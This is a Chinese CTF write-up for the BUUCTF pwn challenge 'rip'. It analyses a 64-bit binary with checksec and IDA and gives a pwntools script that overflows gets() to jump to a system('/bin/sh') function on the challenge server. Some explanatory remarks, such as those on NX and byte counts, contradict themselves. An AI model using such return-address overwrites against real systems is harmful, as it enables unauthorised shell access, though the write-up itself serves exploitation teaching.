pwn基础入门-buuctf-2.rip

2.rip

题目:函数溢出,熟悉解题思路过程

image-20240409145201527

将下载下来的pwn1文件内容,放到ubuntu中checksec一下

ubuntu中checksec文件

image-20240409145312080

  • 从图上可以看出它是一个64位程序,仅开启了栈不可执行保护, 没有打开NX防护(堆栈可执行),No PIE.

下面我们用IDA打开这个文件

image-20240409160013661

F5

打开这个文件后,会有这样一个界面,点击F5可以将汇编语言还原为C

image-20240409160556026

代码分析:函数很简单,就一个puts函数输出,然后gets函数输入到s当中,用puts函数输出出来。

程序关键:存在gets函数,由于存在两个参数,准确来说是gets_s函数。

gets_s(buffer,size)函数:从标准输入中读取数据,size表示的最多读取的数量,在这里是argv,没有定义是多大,所以我们就可以无限的输入。

get函数 gets函数的缓冲区是由用户本身提供,由于用户无法指定一次最多可读入多少字节,导致此函数存在巨大安全隐患。换句话来说,就是gets若没有遇到 \n 结束,则会无限读取,没有上限。可以利用缓冲区溢出,将缓冲区填满后跳转到fun函数处,获取shell,进而获取flag.

shift+f12

按下shift+f12,打开string window

image-20240409160828881

发现/bin/sh,双击/bin/sh, 点击command,点击X,发现/bin/sh的address在fun()函数里

image-20240409160918735

image-20240409160938092

image-20240409161052363

点击上面的Pseudocode-A,点击fun,可以发现fun()函数就是一个简单的system()函数,第1题nc不同,system("/bin/sh")在fun()函数里,不在main函数里,所以这里就有了工作: 想办法触发fun()

编写exploit

这里我们借用的工具可以有pycharm,sublime text,以及ubuntu自带的vim编辑器,也可以使用VScode,我把VScode放到了ubuntu当中

1.ubuntu中使用vim,直接在终端输入vim 12.py(名字自己起,带上.py)

image-20240409162351720

image-20240409162505279

为什么这样写?等会解释,编写完成后esc,冒号,wq!强制保存退出

image-20240409162735218

执行命令,ls查看内容,cat flag找出flag即可

2.sublime text,打开软件编写即可

image-20240409163000440

可以存储到主目录下

image-20240409163051973

命名中含有.py,而后同1执行

3.ubuntu中VScode

在终端输入code.跳转到vscode中

image-20240409163347526

存储到主目录下,执行

4.pycharm

可以在windows中编写代码,运行

image-20240409163609516

运行代码后,ls cat flag即可

代码解释

from pwn import*                  //pwntools函数导入
sh = remote('node4.buuoj.cn',27719) //连接靶机的服务,需要输入对应的ip地址和端口号
#sh = process('./pwn1')             //本地调试
payload = b'a'*23+p64(0x40118A)     //输入payload来进行操作以拿到程序的shell,生成15个垃圾二进制数据,b'a'表示二进制的字母a。栈填满了之后,加上目标函数地址,就可以执行这个函数
//这里代码也可以这样写
//payload=b'a'*(0xf+0x8)+p64(0x40118A)
sh.sendline(payload)           //sendline() - 发送带回车符的字符串,sendline() 和 send() 唯一的区别就是在发送的字符串后面加上了回车换行符.
sh.interactive()                    //发送命令进行交互, sh.interactive()允许我们在终端里将命令传送到靶机服务器

payload = b’a’*23+p64(0x40118A) 核心在于偏移量23计算和0x40118A的由来 其中 b是bytes的缩写,是bytes类型,p64是打包函数,把地址转换为b类型的二进制形式

偏移量23计算 在main函数中,双击s,s占据了15个db,再加上"s"[saved registers]的8个db,一共23个db

image-20240409164729465

image-20240409164756785

可以进入到这个界面,计算s的偏移量:0-(-0xf)=0xf=15,我们要覆盖s的内容到r返回地址,所以0xf+0x8

0x40118A的由来:在IDA中,打开fun函数, 可看到fun()函数开始的地址为0x401186, "/bin/sh"指令执行的地址为0x40118A

image-20240409170100528

可以直接点击Export,可以看到是0x401186

image-20240516193803449

在汇编语言的情况下,点击func函数也可以看到函数的情况

image-20240517184513749

可以看到初始的地址是401186

image-20240517184704233

右键双击也可以查看另外一个版本的起始地址

image-20240517184901447

  • 17
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值